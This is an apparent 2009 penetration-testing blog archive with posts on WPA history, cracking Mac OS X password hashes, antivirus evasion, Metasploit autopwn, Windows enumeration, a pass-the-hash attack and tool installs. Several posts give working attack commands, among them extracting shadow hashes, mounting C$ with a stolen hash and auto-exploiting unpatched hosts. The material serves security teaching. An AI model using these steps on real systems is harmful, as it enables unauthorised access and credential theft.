Recently I have noticed quite a bit of conjecture surrounding the Wi-Fi Protected Access (WPA) protocol and its use. With media hysteria now promoting WPA as no longer secure, wireless security has, unfortunately, become another great unknown to many people.
In this three-part series I would like to delve into the WPA protocol and provide a background on its history, how it works and assess whether WPA is indeed insecure. By the end of this series I will have provided a foundation which will hopefully help answer two of the most common questions surrounding the wireless-security space: “Is WPA secure?” and “Should I be using WPA?”.
To be comfortable in understanding the insecurities of the WPA protocol, Part 1 of this series will provide a brief background on 802.11 security.
Designed as a basic security measure to secure 802.11 wireless networks, Wired Equivalent Privacy (WEP) was implemented to provide simple confidentiality to wireless networks. Soon after its inception, weaknesses were being discovered in the WEP protocol. Among these weaknesses were:

key selection weaknesses,
no replay protection,
weak message integrity checking,
no key rotation mechanism,
short initialization vector (IV),
pseudo-random generation algorithm (PRGA) revealed in challenge/response, and
key was reversible from cipher-text.

By 2007, attacking WEP had become so effective that the cracking probability of a 104-bit WEP key was:

50% success after 60 seconds
80% success after 90 seconds
95% success after 128 seconds

Source: Tews, E, Weinmann, R, Pyshkin A 2007, Breaking 104 bit WEP in less than 60 seconds
To combat the deficiencies of the WEP protocol, the Institute of Electrical and Electronics Engineers (IEEE) decided to come up with a new, more secure protocol: WPA. Designed specifically to work within the design constraints of existing WEP hardware, WPA could be adopted with a firmware upgrade to existing WEP-enabled infrastructure.
WPA was able to improve security over its WEP counterpart by implementing the Temporal Key Integrity Protocol (TKIP). Based on the RC4 cryptographic cipher (like WEP), The TKIP algorithm was designed to overcome the security deficiencies discovered in WEP by:

defeating key reuse attacks,
defeating forgery attempts, and
defeating replay attacks.

Whilst these mechanisms would provide consumers with a secure alternative to the broken WEP protocol, the IEEE only intended WPA to have a 5-year life span (1999-2004). This life span would provide organisations with a transitional period for the arrival of WPA's new companion, WPA2.
Requiring a hardware upgrade from old WEP/WPA technologies, WPA2 was based on the 802.11i security specification (which was not yet ratified at the time WPA was introduced). Designed on a completely new encryption protocol, WPA2 implemented a new algorithm known as Counter Mode with Cipher Block Chaining Message Authentication Protocol (CCMP). CCMP offered several enhancements to the TKIP standard, including the use of the AES cryptographic cipher (as opposed to RC4 used in WEP/WPA). WPA2 was also given the ability to utilise the TKIP encryption protocol for backward compatibility.
Note: Vendors will often (incorrectly) refer to WPA2 as WPA2-AES. This would be fine if WPA was referred to as WPA-RC4. For the sake of consistency, I will refer to WPA2 as WPA2-CCMP throughout the remainder of this series.
Apart from brute-force attempts on weak passwords, both WPA-TKIP and WPA2-CCMP have been considered ‘secure’ up until recently. In November 2008 Erik Tews and Martin Beck, researchers at two German University, published a paper that highlighted a weakness in the TKIP algorithm. Their paper demonstrated how plain-text could be recovered from an encrypted WPA network and injected back into that network. Tews and Beck’s attack method was later enhanced by two Japanese researches whose research caused wide-spread panic among information technology (IT) journalists.
In Part 2 of this series we will take a deeper look at how the TKIP protocol works, how TKIP can be attacked, and look at answering the two pertinent questions: “Is WPA secure?” and “Should I be using WPA?”.

Cracking Mac OS X Passwords

2009-12-28T08:04:00.001-08:00

In this post I will demonstrate how to both extract and crack Mac OS X passwords. The OS X variants that this tutorial is aimed at are 10.4 (Tiger), 10.5 (Leopard) and 10.6 (Snow Leopard).
Whilst Mac OS X is based on a Unix variant (BSD), there are several key differences between traditional Unix-based and Mac OS systems when it comes to password storage. Lets take a quick look at some of the differences.
If you have ever poked around on an OS X system, you may have noticed the absence of the /etc/shadow file. Whilst traditional Unix and BSD variants store their password hashes in /etc/shadow and /etc/master.passwd respectively, Mac OS X does not. Since the release of OS X 10.3 in 2003, Macintosh products have stored their shadow files in the /var/db/shadow/hash/ directory.
Another key difference is the way in which the two systems store their hashes. On a Unix-based system, every hash associated with the system is stored in the /etc/shadow file. This differs from OS X whereby each user has their own individual shadow file stored in the /var/db/shadow/hash/ directory. Each file is labeled by the user’s Globally Unique Identifier (GUID). N.B. A GUID is analogous to a Security Identifier (SID) on Windows-based systems.
Lastly, most Unix variants will use multiple rounds of the MD5 or DES cryptographic hash functions in order to encrypt system passwords. OS X systems encrypt passwords with the SHA1 hash function, coupled with a 4 byte salt.
In sum, OS X password storage has the following characteristics:

Password hashes are stored in the /var/db/shadow/hash/<GUID> file
Each user has their own shadow file
Local OS X passwords are stored as SHA1 hashes

STEP 1. OBTAINING THE GUID
So, the first thing we want to do in this exercise is find out what our GUID is. We do this by invoking the Directory Service command line (dscl) utility. Implemented in OS X 10.5 to replace the deprecated NetInfo directory service, dscl uses the Open Directory Framework to store, organise and access directory information. For our purposes, the directory service holds information specific to each user on the system.
The command we use to extract our GUID is as follows:
Note: Replace <username> with the username of the user you wish to extract.
10.4 (Tiger)

# niutil -readprop . /users/<username> generateduid

10.5 (Leapord) and 10.6 (Snow Leapord)

# dscl localhost -read /Search/Users/<username> | grep GeneratedUID | cut -c15-

This should return a value which appears in the following format: A66BCB30-2413-422A-A574-DE03108F8AF2
STEP 2. EXTRACTING THE HASHES
Next, we want to extract the SHA1 hash from the shadow file. For this, we do the following:

# cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 | cut -c169-216
Note: Replace the above GUID with the one you have extracted from the previous step.

You should have been returned with a SHA1 hash that looks similar to the following: 33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226
At this point it should be noted that OS X has the ability to store Window NT and LANMAN hash representations. This will only occur if SMB/CIFS file sharing has been turned on. To extract these passwords from the shadow file, type the following:

NT:
cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c1-32
LANMAN:
cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c33-64

STEP 3. CRACKING THE PASSWORD
At this point we are ready to crack the OS X passwords. To simplify this step, I have written a simple python script that can be downloaded here. To use this script, simply copy and paste the contents into a file (osx_crack.py) and type:

#python osx_crack.py bob

Note: 'bob' is the username whose password we want to crack.
This method is nice if you are only interesting in cracking passwords from a local system. If, however, you have captured a hash from a remote system, or would prefer a more familiar password cracking utility, then John The Ripper can also be used for this step. In order for John to work, John will need to be patched with the 'Jumbo Patch' - allowing SHA1 passwords (referred to as XSHA in John) to be cracked. The patch can be downloaded from the following locations:

Once we have download/patched John, the extracted hash and username should be placed in a text file. For this example I have added the username ‘bob’ and bob’s hash (that I obtained in STEP 2) into a file called sha1.txt. The file has the following format:
bob:33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226
We can then use John the crack the password:

# ./john sha1.txt

If John is successful in recognising the hash, the following message will be displayed:
”Loaded 1 password hash (Mac OS X 10.4+ salted SHA1 [32/64])”
A successful cracking attempt will appear as follows:
password (bob)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 153000 trying: password
Additional Resources

Bypassing Anti-virus

2009-12-13T00:18:00.001-08:00

Whether compromising a system for legitimate or non-legitimate purposes, bypassing anti-virus software is often an integral step in any intrusion exercise. Fortunately for enterprise, anti-virus and anti-malware software is now commonplace in most organisiations.

Whilst many of the tools that attackers wish to implement are constantly being blacklisted, this isn't without reservation. Attackers are still getting malware into systems and penetration testers are still able to compromise systems. So the question is, how is this possible? The answer: Bypassing anti-virus, of course.

In this post I intent to present several tools that can be used in bypassing anti-virus/anti-malware software. I will provide a brief background on each tools operation and a summary of its use. But first, some background.

Anti-virus software typically works by using either signature-based detection or heuristic-based detection (some products use both).

Signature-based detection products rely on receiving updates from the anti-virus vendor. Anti-virus vendors such as McAfee, Symantec, Sophos etc. work 24 hours a day 7 days a week to continually update their databases with newly discovered malware. Every time a new piece of malware is identified, a 'fingerprint', or 'signature' of the malware is made. These uniquely identifiable signatures are periodically downloaded by anti-virus clients and are used to identify malicious files. Software that the vendor has identified as malicious is able to be caught by the anti-virus software because an infected file's 'signature' (or fingerprint) matches that of the signature downloaded from the vendor. Signature-based detection can be seen as analogous with making a comparison. ie We compare the infected file's signature with the signatures I have in my database. Do the signatures match? If they do, we know the program is malicious and it goes into quarantine. If not, the program is safe and we can let the program run.

Heuristic-based detection is somewhat different. In the mathematics and computer science disciplines, the term heuristic can be simply described as a 'best guess'. Instead of making a signature comparison, heuristic-based detection looks at what the software is actually doing, as opposed to what it looks like. Based on behavior, heuristic-based products quarantine software that is acting suspiciously. So if a program is misbehaving by trying to elevate its privileges on a system, there is a possibility it may be flagged for quarantine. Heuristics-based detection is often prone to false positives, and as such, is not as common as it's signature-based counterpart.

Now lets talk about their shortcomings of signature-based detection.

Signature-based detection is overcome by something known as obfuscation. Code obfuscation is the process of changing the appearance of a program's source code. This can be done in many different ways, including: substituting for loops for while loops; eradicating loops with recursion; compression techniques; renaming variables; altering strings; and so on.

So now if we think back to how signature-based detection works, we can quickly see that it is near impossible for an anti-virus vendor to blacklist all the possible combinations of how a program can appear. And here in lies the dilemma. Anti-virus vendors can indeed continue to blacklist known malware, but this falls short reasonable quickly when programs can be obfuscated in a myriad of different ways.

Whilst there a many ways one can obfuscate a program's code, I am only going to discuss three here. These are three of the most common and simple tools for achieving anti-virus avoidance.

UPX Packer
Packing is a simple way to disguise executables. By adding a decompression header to the front of a the packed executable, the executable is able to be read and inflated in memory by the operating system.

The Ultimate Packer for eXecutables (UPX) is a free, open source, portable packer written by Markus F.X.J. Oberhumer, László Molnár and John F. Reiser.

Usage:

upx [-123456789dlthVL] [-qvfk] [-o file] file...

Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress

PE-Scrambler
PE-Scrambler is a simple utility written by Nick Harbour that scrambles and obfuscates binaries at the machine code instruction level. Altering the Opcodes at the lowest level, this utility is a highly effective obfuscator.

Usage:

> pescrambler.exe -i [inputfile.exe] -o [outputfile.exe]

Resources:
Interview with the author
Author's presentation on the tool

msfencode/msfpayload
These two tools come standard with the Metasploit Framework. Whilst in previous versions of Metasploit it required a bit of a hack to obfuscate Metasploit payloads, the latest release (3.3) makes the process trivial. I would like to point you to Adrian Crenshaw's posting on IronGeek for this one. He has recently posted a very nice video tutorial on the process.

So, what was the point of me telling you all this? Was it to tell you that anti-virus software is dead and you should just uninstall it completely from your network? Hardly.

My intentions here were to inform people that anti-virus, like all security controls, has its weaknesses. Anti-virus should no longer be looked at as the be all and end all of end-point system protection. It should be, like every other control, one of multiple mechanisms within a multi-tiered security architecture.

Here are some additional controls that can compliment anti-virus software:

Host-based intrusion prevention/detection systems
Host-based firewall logging (Win)
Host-based firewalling (Unix)
Application white-listing

Additional Resources:
Chris Brenton's talk on why AV is dead

Milw0rm Alternative is Here!

2009-11-16T14:22:00.000-08:00

Offensive-Security has announced its new exploit archive:

Offensive Security Exploit Database

Metasploit Autopwn: Hacking made simple

2009-11-11T16:04:00.000-08:00

Nowadays, exploiting a system requires little, if no knowledge of computer systems or networking. Merely, someone with 10 minutes on their hands that is interested enough to Google how it’s done.

One with very little skills has the ability to fire up Metasploit, load an exploit, and fire it at the target system – giving attacker’s the ability to compromise a system within minutes.

I thought I would write a post on Metasploit’s autopwn module to reiterate just how simple it is to attack/compromise a system in today’s environment. My intentions here are to give you a tutorial on the Metasploit autopwn module and provide a timely reminder on just how important it is to have a good patch policy in place. I would also recommend regular audits on system services.

The tools I will be using in this tutorial are:

Nessus - A free vulnerability scanner for Mac OS, Windows and Linux
Metasploit – framework 3 - A free exploit framework for launching exploits against targets
A virtual machine running an unpatched version of Windows XP SP2 as my target system

1. First we’ll fire up Nessus and run a scan on our network.

As we can see, Nessus has picked up several ‘High’ risk vulnerabilities on the target system (indicated by the red highlighting).

2. We will now export our Nessus scan results. In order to use these results in Metasploit’s autopwn module, we will need to save the results in the Nessus .nbe format.

First click the ‘Export…” button In the ‘Report’ tab. Second, select the ‘Save as…’ option and choose ‘NBE (*.nbe)’. Now save the file.

3. Now we want to import our Nessus output into Metasploit. Browse to your Metasploit main directory (On Backtrack 4 it will be /pentest/exploits/framework3) and fire up Metasploit.

# ./msfconsole

Note: I am using Linux for this section, but Windows is fine.

4. Next we want to create a database to store our Nessus results. This will allow autopwn to quickly traverse the database and assess whether the vulnerabilities found are indeed exploitable.
At the Metasploit console, type:

msf > db_create

You should see the following:

You have just created an sqlite database to store the results of the Nessus scan.
Note: Metasploit has context sensitive help which is very useful. If you type ‘help’ in the Metasploit console at any stage of this process you will be able to see the commands available to you for the specific module you have loaded. Very cool :)

5. We’ll now connect to our newly created database. To do this, we type:

msf > db_connect

You’ll notice that Metasploit is smart enough to realize that you want to connect to the most recently created database. If you wanted to connect to a different database – one that you had possibly made earlier – you would specifiy the path/database name after the db_connect command i.e. db_connect /root/.msf3/test.db

6. Now lets import our Nessus results into Metasploit. For this, we type:

msf > db_import_nessus_nbe /root/test.nbe

Notice here I have added the path to my Nessus output file after the import command (db_import_nessus_nbe).

Note: You will not get any confirmation after you have imported the Nessus results into your database. Instead, you will just be returned to the Metasploit console prompt.

7. Now we get to the autopwn part! It is a good idea at this point to type:

msf > db_autopwn

This will display a list of arguments that the autopwn module can use.

The arguments that I will first be using are:
-t Show all matching exploit modules
-x Select modules based on vulnerability references

msf > db_autopwn –t -x

Note: At this point I could just use –e and autopwn would try and exploit the target system. However, in my case, I know that the target system is vulnerable to multiple denial of service exploits which will cause my system to crash – and I don’t particularly want that :)

8. Exploiting! Now that we have seen which vulnerabilities are available to exploit, we have two options:
a)Manually set up the exploit, or
b)Let autopwn do the work for us

For the sake of this tutorial, I’ll use the autopwn option.

If you are happy to use all available exploits against the target system, the process would be as simple as:

msf > db_autopwn –x –e –r

And viola! If one of the exploits was successful, you will be presented with a command shell of the target system.

I hope this tutorial has shown just how simple it is in today’s environment to compromise an out-of-date/unpatched/misconfigured system. I trust this reiterates the importance of maintaining a good patch policy alongside regular audits of system services.

Enumerating Windows Information

2009-10-04T19:56:00.001-07:00

After you have gained access to a box, the first thing you want to do as a pen tester is obtain as much information about the machine/network as possible. Here is a list of commands that aim to enumerate host/network information from a Windows machine. The following commands are for Windows XP/Vista/7 unless stated otherwise.

Operating System Details

> ver

> systeminfo

Who are you logged in as

> set username

Which domain/workgroup is the machine apart of

> set userdomain

What is the machine called

> set computername

Windows 7 only

> whoami

List user groups on the system

> net localgroup

List users on the machine

> net user

List users in administrative group

> net localgroup administrators

View all mapped logical/shared drives on the system

> wmic logicaldisk get caption,description,providername

List all listening services on the machine

> netstat –nao

See which other machines the system has been communicating with

> arp –a

View what directories are currently being shared

> net share

View firewall configuration

> netsh firewall show config

Windows 7 only

> netsh advfirewall firewall show rule name=all more

or

> netsh advfirewall firewall show rule name=all dir=<inout>

NOTE: For more information on this command please see:

http://support.microsoft.com/kb/947709

View all currently running processes

> tasklist

Find a specific task through Process ID (PID), where x is an arbitrary PID

> tasklist /fi “pid eq x”

or

> tasklist find “x”

Find tasks running under a specific user, where x is an arbitrary username

> tasklist /fi “username eq x”

For more information on information gathering/windows forensics, check out:

http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

Pass-the-Hash Attack with Backtrack 4

2009-08-29T01:30:00.000-07:00

For the uninitiated, a pass-the-hash attack is a way to gain access to a Windows machine without having to supply user credentials. Sounds great yeah? Cool, now you can go ahead and delete Cain and john because your password cracking days are over? Well, not quite. Before you get too excited you should realize there's a catch -- you must first have in your possession a password hash of the machine that you want to compromise. So now you're probably asking yourself, "Why is that useful if I need to have access to the box in the first place?" Well, picture this:

Say you were conducting a penetration test on Company X and you were unable to crack the administrator password. Now, like most organizations, Company X is using the same administrator password on all of its machines. So gaining access to this password would allow you to pwn the entire network. Now lets say that Company X believes strongly in security, and has a 20 character random password for their administrator password. So now you're screwed right? Wrong.

By having access to just one machine that holds this master account that is present on all machines (the administrator account in this example), you are able to utilize a pass-the-hash attack by 'passing' just the hash to every other machines on the network. By receiving the hash, Windows believes that you have successfully authenticated and provides you access to the host. Kinda cool huh?

Now that I've given you some background, here's how you go about setting it up on Backtrack 4. There are a few tweaks that need to be made in order for this to work on Backtrack 4.

Pass the Hash Attack Tutorial for Backtrack 4 Users:

1. Download Samba 3.0.22:
http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz

2. Download both of the Foofus Samba patches:
http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch
http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch

3. Extract the samba archive where you would like to access Samba from. I've chosen /opt/

4. From the directory where you have installed Samba (/opt/ for me), patch the appropriate files

# cd /opt/
# patch -p0 <samba-3.0.22-add-user.patch
# patch -p0 <samba-3.0.22-passhash.patch

5. Configure Samba with smbmount

# cd /opt/samba3.0.22/source
# ./configure --with-smbmount

6. Compile/Install Samba (still in the /opt/samba3.0.22/source/ directory)

# make
# make install

7. Create a mount point in order to mount the Windows share

# mkdir /mnt/target

8. Alter the fstab file to allow /mnt/target to be mounted

# pico /etc/fstab

At the bottom of the file add this entry:

none /mnt/target tmpfs defaults 0 0

9. Copy smb.conf to the correct directory

# cp /opt/samba-3.0.22/packaging/Debian/debian-woody/smb.conf /usr/local/samba/lib/smb.conf

10. Mount the target directory

# mount /mnt/target

11. Add your compromised hash to the SMBHASH environment variable

# export SMBHASH="92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63"

Note: The format for this should be "LMHASH:NTHASH"

12. Implement your pass-the-hash attack
# cd /opt/samba3.0.22/source/bin

Usage: smbmount //target-ipaddress/sharename /mount/point -o username=username-associated-with-hash-here

# ./smbmount //10.0.0.100/C$ /mnt/target -o username=administrator

13. Type an arbitrary password

At this point would be asked to supply a password. Type anything you want here -- just make sure its not blank. So, for example, you could just type 'blah' and hit return.

14. Check to see that you have successfully mapped the Windows share

# ls /mnt/target

If you would like a video tutorial on the pass-the-hash technique, please see John Strand's video:
http://vimeo.com/2852120

Installing Kismet on Backtrack 4 Pre Release

2009-08-07T22:47:00.000-07:00

Backtrack 4 has all the bells and whilstles we love and have come to expect from Backtrack in the past. That said however, as Bakctrack is currenly in a "Pre Realease" version, there are a couple of teething issues with various bits and pieces. One such issue is with Kismet Newcore.

Kismet is our friendly little wireless stumbler that we all love. In Backtrack 4 pre release you may have noticed it is either missing functionality, or just plain doesn't work!

Here is a quick guide for you to download an alternate version of Kismet Newcore and install it on Backtrack 4:

1. Make sure your network adapter is on

# dhclient eth0

2. Change your director to /usr/src to download the Kismet Newcore source code

# cd /usr/src

3. Download the Kismet source using the built-in subversioning software

# svn co https://kismetwireless.net/code/svn/trunk kismet

4. Open the newly created kismet directory

# cd kismet

5. Confrigure and make the source code

# ./configure --prefix=/opt && make && make install

6. Now change your directory to where you want kismet to store its logging files

# cd somewhere/useful/for/your/logging/files

7. Run kismet

# /opt/bin/kismet

There you have it! A fresh version of Kismet Newcore installed.

When you run kismet, it will ask you to add a new capture source. You will (typically) add wlan0. This will change however, depending on your hardware.

Installing Nessus on Backtrack 4

2009-08-05T04:55:00.000-07:00

Here is an easy to follow tutorial on installing nessus on the Backtrack 4 Pre Release. This is courtesy of secure_it at the remote-exploit forums.

First download these packages

Nessus-3.2.1-ubuntu804_i386.deb
NessusClient-3.2.1-debian4_i386.deb

(I have chosen debian package because NessusClient-3.2.1.1-ubuntu804.i386.deb was missing some of dependencies and was not installing correctly.instead the debian package worked like a charm as its upto-date with dependencies and it produces no error at all.

Next register your copy to get plugins update using homefeed and please provide the real mail ID as they will send you the activation key for homefeed.

Regsiter Here

Click accept and enter a valid working email ID.

now we start installing the packages.

root@ThUndErbOLt:~#dpkg -i Nessus-3.2.1-ubuntu804_i386.deb

now configure the certificate & admin user for nessus
root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-mkcert (this is neccessary to communicate between nessus client to nessus daemon/remote host)
(configure options accordingly or just press enter for default)

CA certificate life time in days [1460]:
Server certificate life time in days [365]:
Your country (two letter code) [FR]:IN
Your state or province name [none]: Karnataka
Your location (e.g. town) [Paris]: Bangalore
it should show the message
Congratulations. Your server certificate was properly created.
hit enter to come out

root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-adduser
enter information about the user.
Login
Authentication (Pass/Cert)
Password:
confirm password:
after configuring the parameters it ask for rule-set.we have configured the admin user having full permissions.if we wants to limit and want to add certain users then we can use rule-set here.
For configuring ruleset please refer to nessus-adduser(8) man page for the rules syntax as it limit the use of nessus.
press ctrl + d
it asks for confirmation.choose y

now start Nessus daemon by using
root@ThUndErbOLt:~# /etc/init.d/nessusd start
$Starting Nessus : .

confirm that its running using
root@ThUndErbOLt:~# netstat -ant|grep 1241
tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN
tcp6 0 0 :::1241 :::* LISTEN

now Install NessusClient(the GUI Frontend to use nessusd)
root@ThUndErbOLt:~# dpkg -i NessusClient-3.2.1-debian4_i386.deb

now register the plugin feed for updating nessus
root@ThUndErbOLt:~#/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX(replace X with your keys)
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
now it will download the plugins and will purge them into database.if you don't wan't to do this now.press ctrl + c to cancel it.later you can download it using

root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-update-plugins

run the scan using NessusClient
backtrack menu->Internet->NessusClient
click on + icon
by default selected radiobox is single host
type Host Name localhost & hit save
select the localhost & press connect
from connect option box choose edit
set the Login & Password which we created earlier using nessus-adduser
hit Save
select localhost & hit connect
first time it asks for logging into nessus server.hit yes

now you can customize the default scan/microsoft scan policy and can scan.that's it!

***note if you are having dependency issues with the Nessus Client use the following command: apt-get update